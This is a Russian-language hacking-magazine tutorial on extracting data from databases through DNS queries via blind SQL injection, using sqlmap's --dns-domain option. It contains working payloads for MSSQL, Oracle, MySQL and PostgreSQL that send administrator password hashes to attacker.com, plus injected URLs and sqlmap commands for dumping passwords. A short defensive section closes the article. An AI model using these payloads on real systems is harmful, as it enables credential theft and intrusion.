Содержание статьи
SQL-инъекции — одна из самых распространенных уязвимостей современных веб-приложений. Разработчики постоянно закрывают массу дырок, связанных с этой проблемой, но хакеры по-прежнему находят способы эксплуатации этой старой как мир уязвимости. Сегодня я расскажу тебе о не новой, но действительно крутой технике извлечения данных из SQL-баз с использованием DNS-запросов, которая в умелых руках может стать грозным оружием любого современного пентестера. Готов? Поехали!
Warning!
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Введение
Под SQL-инъекцией подразумевается внедрение произвольного SQL-кода в запрос к СУБД для получения доступа к данным таблиц. На практике это зачастую выглядит как специально сформированный запрос к странице вида http://target.com/get_data.asp?id=1, где вместо 1 в параметре id хакер пытается «пропихнуть» серию из SQL-команд, которая позволяет получить доступ к содержимому базы данных.
В зависимости от логики работы уязвимого приложения, техники эксплуатации SQL-инъекций принято делить на три большие группы: классические, слепые и абсолютно слепые.
Одно из отличий слепых инъекций от классических состоит в том, что для эксплуатации они требуют очень много времени и большое количество запросов, ведь данные «вытягиваются» бит за битом. Поэтому атакующему обычно необходимо отправить десятки тысяч запросов, чтобы вытянуть содержимое таблички среднего размера, что может быть замечено бдительным администратором уязвимой системы.
Однако есть способы, позволяющие значительно увеличить скорость получения данных из СУДБ при эксплуатации слепых инъекций, при этом снизив количество запросов к самой базе. Об одном из таких методов мы сегодня и поговорим.
Мирослав Штампар и sqlmap
Мирослав Штампар — профессиональный разработчик программного обеспечения и исследователь в области информационной безопасности. Родился в 1982 году в городе Вуковар, Хорватия; получил степень магистра компьютерных наук на факультете электротехники и информатики Загребского университета в 2005 году. В настоящее время работает над докторской диссертацией на тему безопасности и организации параллельной обработки данных. Стремясь заниматься вопросами, связанными с безопасностью, он стал одним из авторов известного открытого проекта sqlmap (www.sqlmap.org), посвященного автоматическому обнаружению и эксплуатации уязвимостей типа «Выполнение SQL-кода», и с декабря 2009 года постоянно участвует в его развитии. Блог Мирослава — bit.ly/KWCO0d.
О чем речь?
Класс атак, техника эксплуатации которых позволяет получить нам искомый выигрыш во времени, в англоязычном интернете обычно описывается как DNS Exfiltration. Изначально понятие «exfiltration» было военным термином, под которым подразумевалось возвращение агента разведки на родину. В Сети под этим словом в контексте ИБ обычно понимается незаконное извлечение данных из информационных систем. При использовании этой техники в контексте SQL-инъекций появляется способ извлечения данных через DNS, при котором возможно пренебречь ожиданием ответа от серверного приложения при эксплуатации слепых инъекций и получить результаты выполнения своих SQL-запросов (например, имена пользователей и пароли), отправляя на свой DNS-сервер DNS-запросы, содержащие данные из СУБД уязвимого приложения. Использование этой техники дает ряд неоспоримых преимуществ по сравнению с time-based или true/false техниками: во-первых, нам не требуется дожидаться ответа от веб-сервера, что существенно ускоряет процесс, во-вторых, за один запрос мы можем вытащить много больше данных. В-третьих, техника не накладывает ограничений на нестандартные типы данных, таблицы и названия столбцов.
DNS-запросы мы будем передавать по протоколу DNS, что неудивительно :). Это относительно простой протокол. Запрос, выполняемый DNS-клиентом, и соответствующий ему ответ, предоставляемый DNS-сервером, используют один и тот же формат DNS-сообщений. За исключением трансферов зон, использующих для надежности протокол TCP. DNS-сообщения инкапсулированы в UDP-датаграммы — минимальные единицы информации в протоколе UDP для обмена информацией (bit.ly/MtoIDx) на транспортном уровне модели OSI (bit.ly/qqHbRE). Для любого человека, осуществляющего мониторинг машины с помощью инструмента, подобного Wireshark, скрытый канал передачи данных, выполненный поверх DNS, будет выглядеть как небольшие серии всплеска DNS-трафика.
В основе работы такого неконтролируемого канала передачи данных лежит процесс передачи DNS-запросов от безопасных систем (локальных компьютеров) к произвольным DNS-серверам, расположенным в интернете. Даже если предположить, что выход во внешнюю сеть запрещен, но целевая машина способна резолвить произвольные доменные имена, то передача данных возможна средствами отправляемых DNS-запросов.
Готовим успешную атаку
Предпосылкой для успешной передачи данных через DNS из БД уязвимого приложения служит наличие в СУБД подпрограмм, которые прямо или косвенно инициируют процесс резолва доменных имен, например для домена attacker.com. Любая функция, принимающая в качестве параметра сетевой адрес, скорее всего, подойдет для этой цели. Следует отметить: нам безразлично, что делает эта функция и что она возвращает в качестве результата, главное, чтобы она инициализировала процесс резолва доменных имен. И напротив, мы должны заботиться, чтобы такие функции были вызваны корректно (без синтаксических ошибок) через SQL-инъекцию и чтобы в качестве входящих параметров мы каким-либо образом передадим результат нашего SQL-подзапроса (например, пароль администратора). Необходимо единственное условие: у нас должен быть контроль над официальным DNS-сервером для домена, на который будут отправляться запросы.
Через DNS к звездам
Не будем углубляться в теорию: я думаю, ты уже прекрасно понял, в чем основной принцип атаки, и уже бежишь настраивать DNS на своем дедике. Времени это займет не так много. Но для начала давай рассмотрим практические примеры передачи данных, на примере упомянутого пароля администратора, через механизм резолва доменных имен для четырех распространенных СУБД. В примерах будет использоваться домен attacker.com — доменное имя, над DNS которого мы имеем полный контроль. Полный контроль в данном случае необходим для того, чтобы мы могли получить результаты выполнения SQL-подзапросов из логов DNS-сервиса:
- Microsoft SQL Server
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')+'.attacker.com';
EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
- Oracle
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE
name='SYS')||'.attacker.com',80) FROM DUAL;
- MySQL
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user
WHERE user='root' LIMIT 1),'.attacker.com\\foobar'));
- PostgreSQL
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE
usename='postgres');
exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||
query_result||E'.attacker.com\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
Каждый из приведенных примеров может быть проэксплуатирован через соответствующую уязвимую к SQL-инъекции страницу. Например, если в качестве СУБД используется Oracle, а уязвимость присутствует в GET-параметре id, то примерный вектор атаки будет выглядеть так:
http://www.target.com/vuln.php?id=(SELECT DBMS_LDAP.INIT(
(SELECT password FROM SYS.USER$ WHERE name='SYS')
||'.attacker.com',80) FROM DUAL)--
Такой же подход применим и к MySQL. В случае Microsoft SQL Server и PostgreSQL необходимо использовать комбинированную технику, так как они требуют для выполнения выражение, состоящее из нескольких запросов. Таким образом, для Microsoft SQL Server запрос будет следующим:
http://www.target.com/vuln.php?id=1;DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')+'.attacker.com';
EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--
Необходимо упомянуть одну важную деталь — для успешной организации DNS-туннеля в Microsoft SQL Server, PostgreSQL и MySQL эти СУБД должны поддерживать пути в формате UNC, что, в общем-то, означает, что такой туннель можно создать, если на сервере в качестве бэкенда будет использоваться ОС Microsoft Windows.
Get started с sqlmap
Работать с sqlmap с поддержкой DNS очень просто:
- Запусти sqmap для тестирования наличия инъекции:
~username$: python sqlmap.py -u \ "http://192.168.21.129/sqlmap/mssql/iis/get\_int.asp?id=1"
- Теперь используй ключ --dns-domain, чтобы указать sqlmap, что мы хотим использовать передачу данных через DNS-трафик:
~username$: sudo python sqlmap.py -u \ "http://192.168.21.129/sqlmap/mssql/iis/get\_int.asp?id=1" \ --dns-domain="foobar.com" --passwords -v 3
Скрипт будет пошагово извлекать данные, показывая тебе всю необходимую информацию о количестве запросов и полученных пакетах. Не забудь указать правильный домен в параметре запуска –dns-domain. Ссылку на информацию о настройке собственного DNS сервера ищи в боковых выносах.
От слов к делу
Одной из самых классных реализаций этой техники является великолепная тулза sqlmap с поддержкой использования DNS-запросов для передачи данных, которую мы и будем возьмем на вооружение. Эта фича была добавлена с ревизии 5086 ветви v1.0-dev в официальном GIT-репозитории. С помощью опции --dns-domain ты можешь включить поддержку передачи данных через DNS-трафик и указать sqlmap, что все выполняемые запросы на резолв имени должны указывать на заданный домен (например, --dns-domain=attacker.com).
Запись DNS-сервера (например, ns1.attacker.com) должна содержать IP-адрес машины, на которой будет запущен sqlmap.
В свою очередь, sqlmap, работая как поддельный DNS-сервер, предоставляет валидные (но фиктивные) ответы для входящих DNS-запросов на резолв имени. Фиктивные DNS-ответы отправляются для разблокировки ожидающего веб-сервера, не заботясь о результатах, которые он вернет, поскольку sqlmap безразлично содержимое веб-страницы. Для каждого элемента, который нужно сдампить, sqlmap отправляет специально созданную строку SQL-запроса внутри обычного HTTP-запроса, а в фоновом потоке обрабатывает и сохраняет все входящие DNS-запросы. Так как результат выполнения каждого SQL-запроса злоумышленника окружается уникальными и случайно выбранными префиксом и суффиксом, то нетрудно определить, какой SQL-запрос соответствует пришедшему DNS-запросу. Правда, такой подход с «обрамлением» результатов исключает использование кеширующего механизма DNS, заставляя использовать рекурсивный резолв имен.
Каждый DNS-запрос на резолв имени кодируется в шестнадцатеричную форму, чтобы соответствовать стандарту для доменных имен DNS (RFC 1034). Таким образом, все спецсимволы сохраняются. Шестнадцатеричное представление длинных SQL-запросов разбивается на части. Это делается потому, что каждая часть доменного имени (например, .example. из tst1.example.com) ограничена длиной в 63 символа.
Тестируем скорость работы DNS Exfiltration
Все поддерживаемые sqlmap способы внедрения SQL-кода были протестированы в виртуальном окружении в сравнении с новой техникой, использующей DNS. Было измерено количество отправленных HTTP-запросов и промежутки времени, потребовавшиеся для того, чтобы сдампить содержимое таблички information_schema.COLLATIONS (занимает около 4 Кб, из-за чего скорость соединения получилась достаточно высокой). В приведенной ниже таблице протестированные методы получения данных из СУБД отсортированы с учетом скорости их работы:
Несомненно, в реальных условиях метод, использующий DNS, потребует дополнительного времени в связи с тем, что будут задействованы DNS-серверы, расположенные во внешней сети. Несмотря на это, разница между ним и методами, основанными на времени и логических выражениях, останется весьма существенной, так как последние потребуют больше времени из-за большего числа выполняемых запросов.
Методы защиты
Как таковые, методы защиты от атак типа SQL injection сводятся к нескольким простым вещам. Самое главное — необходимо писать безопасный код:
- Вне зависимости от языка реализации приложения, используй для SQL-запросов так называемый prepared statement, что дословно переводится как «подготовленные выражения». Подробнее о параметризованных запросах ты можешь почитать здесь:bit.ly/zaNhPY.
- Типизируй все данные, с которыми работаешь. Если ты точно знаешь, что значение переменной id — всегда число, приводи эту переменную к типу int.
- Фильтруй специальные символы.
- Разграничивай доступ правильно. Это касается и пользователя, с правами которого потенциально уязвимое приложение осуществляет работу с БД. Не стоит предоставлять пользователю лишние привилегии, в том числе и использование хранимых в БД процедур, которые потенциально могут позволить злоумышленнику произвести атаку.
WWW
- Более подробную информацию о классификации и особенностях различных типов SQL-инъекций ты сможешь найти на нашем сайте по адресу: bit.ly/P12zz9.
- Подробнее о том, как поднять свой DNS-сервер с использованием bind9, ты можешь прочитать в этой статье: bit.ly/MIEAE2
INFO
Помни, что sqlmap включает поддержку передачи результатов из MSSQL, Oracle, MySQL и PostgreSQL через DNS только в случае, когда доступны медленные методы «вытягивания» информации, и опция --dns-domain должна быть явно задана пользователем.
Вместо заключения
Вот ты и познакомился с продвинутой техникой, использующей DNS и значительно повышающей скорость получения данных из БД, которая может быть использована, если более быстрые техники применить невозможно. Результаты тестирования показали, что данная техника не требует отправки большого количества запросов, а это делает ее менее заметной. Возможно, из-за того, что она требует наличия DNS-сервера, эта техника не будет применяться большинством атакующих. С точки зрения реализации все выглядит достаточно просто, так что не стоит недооценивать ее практической ценности. А реализация поддержки этого метода в таком инструменте, как sqlmap, должна сделать его доступным для всех.